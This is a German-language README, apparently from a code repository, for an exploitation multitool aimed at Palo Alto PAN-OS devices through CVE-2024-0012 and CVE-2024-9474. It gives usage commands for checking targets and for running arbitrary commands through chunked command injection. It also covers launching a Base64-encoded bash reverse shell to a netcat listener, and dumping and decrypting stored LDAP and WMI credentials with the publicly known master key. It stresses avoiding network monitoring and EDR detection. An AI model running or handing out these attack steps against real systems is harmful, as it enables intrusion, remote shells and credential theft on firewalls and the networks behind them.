
Exploitation- und Post-Exploitation-Multitool für Palo Alto PAN-OS-Systeme, die von den Schwachstellen CVE-2024-0012 und CVE-2024-9474 betroffen sind
Exploitation- und Post-Exploitation-Multitool für Palo Alto PAN-OS-Systeme, die von den Schwachstellen CVE-2024-0012 und CVE-2024-9474 betroffen sind
Während der frühen Ausnutzung der Remote-Code-Ausführungsschwachstellen CVE-2024-0012 und CVE-2024-9474 habe ich eine Shell erlangt und begann, Konfigurationsdateien zu identifizieren, die seltsame Zeichenfolgen in verschiedenen Passwortfeldern enthielten. Da es sich offensichtlich nicht um gängige Hash-Formate handelte, begann mein Team und ich, dies zu untersuchen und entdeckten schnell ein Sicherheitsbulletin auf der ThreatLabs-Website, das besagte, dass PAN-OS-Anmeldedaten standardmäßig mit einem öffentlich bekannten Hauptschlüssel verschlüsselt werden (oder wurden?). Obwohl dieser Hauptschlüssel in der Gerätekonfiguration geändert werden kann, habe ich festgestellt, dass der Standard-Hauptschlüssel in jedem Fall verwendet wurde, in dem ich auf diese Schwachstellen gestoßen bin. Mit der Entwicklung dieses Tools möchte ich eine einfache Möglichkeit schaffen, diese Schwachstellen auszunutzen, Post-Exploitation und Anmeldeinformations-Harvesting durchzuführen und sogar Klartext-Anmeldedaten vollständig über verschlüsselten HTTPS-Datenverkehr abzurufen, ohne dass persistente Verbindungen erforderlich sind, die von Netzwerk- und Verkehrsüberwachungslösungen erkannt werden könnten.
Unterstützt derzeit das automatische Abrufen und Entschlüsseln von LDAP- und WMI-Anmeldeinformationen, obwohl ich seltene Fälle gesehen habe, in denen geheime Zeichenfolgen in Konfigurationsdateien mit nicht standardmäßigen XML-Feldnamen verschlüsselt sind. Ich arbeite derzeit daran, die Ursachen dieser besonderen Fälle zu identifizieren, um eine vollständige Unterstützung zu gewährleisten. Bitte beachten Sie, dass dies noch in der Entwicklung ist.
Stellen Sie vor der Verwendung sicher, dass alle erforderlichen Abhängigkeiten mit einem Befehl wie diesem installiert sind:
pip3 install -r requirements.txt
Mit dem Befehl „check“ können Sie überprüfen, ob ein entferntes Ziel für CVE-2024-0012 anfällig ist. Wenn Sie ein entferntes Ziel über seine IP-Adresse anvisieren, verwenden Sie unbedingt das Argument --no-verify. Beispiel:
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

Mit dem Befehl „command“ können Sie CVE-2024-0012 und CVE-2024-9474 auf einem entfernten Ziel ausnutzen, um einen manuell übergebenen Befehl auszuführen und die resultierende Befehlsausgabe über die Weboberfläche abzurufen. Ähnlich wie bei den Befehlen dump und shell wird der übergebene Befehl in Abschnitte aufgeteilt, die klein genug sind, um in die Befehlsinjektionsschwachstelle von CVE-2024-9474 zu passen, in eine temporäre Shell-Datei in einem beschreibbaren Verzeichnis (Standard: /var/tmp/) geschrieben und dann auf dem Ziel ausgeführt. Die Ausgabe wird in eine temporäre PHP-Datei unter /var/appweb/htdocs{remote_dir} geschrieben, per HTTPS abgerufen, auf der Konsole ausgegeben und automatisch bereinigt, sofern nicht das Argument --no-cleanup angegeben wird. Auch hier gilt: Vergessen Sie nicht --no-verify, wenn nötig.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
Das optionale Flag --silentcommand führt den übergebenen Befehl mit derselben Chunking- und Injektionsmethode wie oben aus, leitet die Ausgabe jedoch nicht in eine webfähige Datei um und führt keine Abrufanfrage durch. Dies ist nützlich für Fire-and-Forget-Aktionen, bei denen die Ausgabe nicht benötigt wird oder die Anzahl der Webanfragen und der auf dem Ziel erstellten Dateien minimiert werden soll. Da keine Ausgabedatei in den Webpfad geschrieben wird, werden bei der Bereinigung nur die temporären Payload-Chunk-Dateien aus dem beschreibbaren Verzeichnis entfernt – es gibt keine auszuräumende .php-Ausgabedatei.
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand
Der Befehl „shell“ ermöglicht es Ihnen, CVE-2024-0012 und CVE-2024-9474 auf einem entfernten Ziel auszunutzen, um eine Reverse Shell auf dem entfernten Host zu empfangen. Im Wesentlichen erstellt dieser Befehl eine Standard-Bash-Reverse-Shell-Payload, kodiert sie in Base64, teilt den Base64-kodierten Block in Abschnitte auf, die klein genug sind, um in die Befehlsinjektionsschwachstelle von CVE-2024-9474 zu passen, und führt dann Befehle aus, um jeden Block in Dateien in einem beschreibbaren Verzeichnis (Standard: /var/tmp/) zu schreiben. Sobald diese Blöcke vollständig gespeichert sind, werden sie zu einer einzigen Shell-Datei zusammengeführt und auf dem Host ausgeführt, wodurch eine Verbindung zu einem separaten Netcat-Listener (nc -nvlp {PORT}) hergestellt werden sollte.
Bitte beachten Sie, dass das Timeout aufgrund der persistenten Reverse-Shell-Verbindung derzeit die Dateibereinigung verhindert. Sie müssen sich daher den zufälligen Dateinamen notieren, der zu Beginn der Tool-Ausführung ausgegeben wird, und ihn aus den Verzeichnissen {writable_dir} und /var/appweb/htdocs{remote_dir} bereinigen. Ich werde dies in der nächsten Version beheben, bin aber noch nicht dazu gekommen. Vergessen Sie nicht --no-verify, wenn nötig.
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

Dies war mein Hauptziel für dieses Projekt und der Hauptgrund, warum ich dieses Tool entwickeln wollte. Da sich die meisten Writeups und Tools im Zusammenhang mit diesen Schwachstellen auf die Remote-Code-Ausführung konzentrieren, habe ich nur wenige Fälle gefunden, in denen detaillierte Post-Exploitation-Schritte darüber hinaus beschrieben werden. Mit dem Befehl dump können Sie nicht nur Anmeldeinformationen aus der Ferne abrufen und entschlüsseln, sondern dies auch vollständig über eine kleine Anzahl verschlüsselter (HTTPS-)Webanfragen ohne persistente Verbindungen tun. Da PAN-OS-Geräte mit deutlich geringerer Wahrscheinlichkeit mit EDR/MDR/IDR/XDR/?DR-Lösungen ausgestattet sind, ist dies besonders effektiv bei Red-Team-Operationen.
Der Befehl dump folgt einer ähnlichen Chunking- und Ausführungsmethode wie der Befehl shell, initiiert jedoch keine Reverse Shell, sondern ruft verschlüsselte Anmeldeinformationen aus den Konfigurationsdateien des Geräts (unter /opt/pancfg/mgmt/saved-configs/) ab und entschlüsselt die identifizierten Passwörter automatisch mit dem öffentlich bekannten Hauptschlüssel. Der Befehl dump bereinigt am Ende der Entschlüsselung auch alle erstellten Dateien, es sei denn, Sie fügen das Argument --no-cleanup hinzu. Wie immer: Vergessen Sie nicht --no-verify, wenn nötig.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
Darüber hinaus habe ich ein optionales Argument --full-running-config hinzugefügt, mit dem der gesamte XML-Inhalt der aktuell laufenden Konfigurationsdatei abgerufen und in einer lokalen Datei gespeichert werden kann. Die gespeicherte Datei wird im Format running-config.{TARGET}.{TIMESTAMP}.xml benannt (z. B. running-config.192.168.1.1.20260516_143022.xml), wobei der Zeitstempel den Zeitpunkt des Abrufs widerspiegelt. Dadurch wird verhindert, dass vorherige Konfigurationsdumps überschrieben werden, wenn dasselbe Gerät mehrfach angegriffen wird. Obwohl ich empfehle, darüber hinaus zu prüfen, da ich mehrere Fälle gesehen habe, in denen frühere/andere Konfigurationsdateien eindeutige verschlüsselte Anmeldeinformationen enthielten, kann dies eine gute Möglichkeit sein, nach zusätzlichen Anmeldeinformationen zu suchen, die möglicherweise nicht automatisch erkannt und entschlüsselt wurden. Darüber hinaus können Sie lokale XML-Konfigurationsdateien mit dem Befehl Local verarbeiten, der unten detailliert beschrieben wird.
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
Der Befehl local ist sehr einfach und wird hauptsächlich dann verwendet, wenn Sie eine vollständige XML-Konfigurationsdatei abgerufen haben (z. B. mit dem Argument --full-running-config des Befehls dump) oder bereits eine Shell auf dem PAN-OS-Gerät haben und die Inhalte von XML-Konfigurationsdateien von diesem Gerät (unter /opt/pancfg/mgmt/saved-configs/) kopiert oder ausgedruckt haben. Er führt die gleiche Logik und automatische Entschlüsselung von Anmeldeinformationen durch, jedoch anhand einer übergebenen lokalen Datei. Unterstützt alle verschlüsselten Anmeldeinformationstypen, einschließlich LDAP- und WMI-Anmeldeinformationen, über beliebige XML-Tag-Namen.
python3 PanOsExploitMultitool.py local -f {FILE}

Schließlich ermöglicht Ihnen der Befehl decrypt, Rohzeichenfolgen mit dem öffentlichen Hauptschlüssel zu entschlüsseln. Dies ist in besonderen Szenarien nützlich, z. B. wenn verschlüsselte Anmeldeinformationszeichenfolgen in einer früheren Konfigurationsdatei identifiziert werden, aber keine unmittelbar vorhergehenden Benutzernamen vorhanden sind, oder wenn Sie eine mit einer anderen Methode extrahierte Anmeldeinformationszeichenfolge manuell überprüfen möchten. Diese Zeichenfolgen können direkt in das Terminal eingegeben werden und werden entweder im vollständigen Format -AQ..........== oder nur als letzter Base64-kodierter Block am Ende akzeptiert.
python3 PanOsExploitMultitool.py decrypt

Bitte sehen Sie sich die folgenden Writeups, Module und Sicherheitshinweise an, die bei der Recherche und Entwicklung dieses Projekts verwendet wurden.
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/